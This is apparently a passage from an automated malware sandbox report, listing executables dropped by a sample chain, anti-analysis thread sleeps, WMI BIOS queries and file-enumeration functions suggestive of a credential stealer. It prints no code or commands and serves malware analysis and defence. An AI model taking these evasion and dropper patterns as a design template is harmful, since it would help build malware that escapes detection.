Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10235930101\83f34278c7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10028100101\crypted.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10235940101\0629403be8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10028410101\crypted.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\crypted.41[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\win32\win32trace.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10235950101\d101bd5267.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_brotli.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard\_cffi.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imagingtk.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imagingft.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\simplejson\_speedups.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\dw[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imagingmath.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mrwipre12[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\python311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imagingcms.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\charset_normalizer\md.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10019520101\dw.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32\pythoncom311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32\pywintypes311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10026630101\v7942.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\v7942[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10235960101\718edcc992.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imaging.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\crypted.7[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10029600101\mrwipre12.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_webp.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\charset_normalizer\md__mypyc.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard\backend_c.cp311-win_amd64.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	API coverage: 4.1 %
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	API coverage: 1.9 %
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	API coverage: 3.3 %

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Code function: 17_2_00408370

17_2_00408370

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7640	Thread sleep count: 547 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7640	Thread sleep time: -1094547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7628	Thread sleep count: 1225 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7628	Thread sleep time: -2451225s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7600	Thread sleep count: 270 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7600	Thread sleep time: -8100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7616	Thread sleep count: 1178 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7616	Thread sleep time: -2357178s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7620	Thread sleep count: 1241 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7620	Thread sleep time: -2483241s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7636	Thread sleep count: 1217 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7636	Thread sleep time: -2435217s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7612	Thread sleep count: 1234 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7612	Thread sleep time: -2469234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe TID: 3336	Thread sleep count: 9583 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe TID: 3336	Thread sleep time: -287490000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe TID: 5600	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 776	Thread sleep count: 94 > 30
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 776	Thread sleep time: -188094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 4584	Thread sleep count: 98 > 30
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 4584	Thread sleep time: -196098s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 6120	Thread sleep count: 86 > 30
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 6120	Thread sleep time: -172086s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 5968	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 2124	Thread sleep count: 68 > 30
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 2124	Thread sleep time: -136068s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 6900	Thread sleep count: 1933 > 30
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 7296	Thread sleep count: 3133 > 30
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe TID: 7296	Thread sleep time: -6269133s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3700	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6000	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 6852	Thread sleep count: 38 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5684	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5684	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1496	Thread sleep count: 2378 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1496	Thread sleep count: 315 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1280	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3560	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1948	Thread sleep count: 3328 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1892	Thread sleep count: 1328 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1988	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2176	Thread sleep count: 3727 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2164	Thread sleep count: 144 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4484	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2120	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4736	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4708	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe TID: 4972	Thread sleep time: -150000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6748	Thread sleep count: 4092 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6804	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0097EF71 FindFirstFileExW,	13_2_0097EF71
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0041EF71 FindFirstFileExW,	14_2_0041EF71
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00407620 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	17_2_00407620
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	17_2_00401280
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	17_2_00401090
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0040A150 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	17_2_0040A150
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0040B570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	17_2_0040B570
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0040B110 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	17_2_0040B110
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0040B3A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	17_2_0040B3A0
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006ADBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	18_2_006ADBBE
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0067C2A2 FindFirstFileExW,	18_2_0067C2A2
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B68EE FindFirstFileW,FindClose,	18_2_006B68EE
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	18_2_006B698F
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006AD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_006AD076
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006AD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_006AD3A9
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_006B9642
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_006B979D
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	18_2_006B9B2B
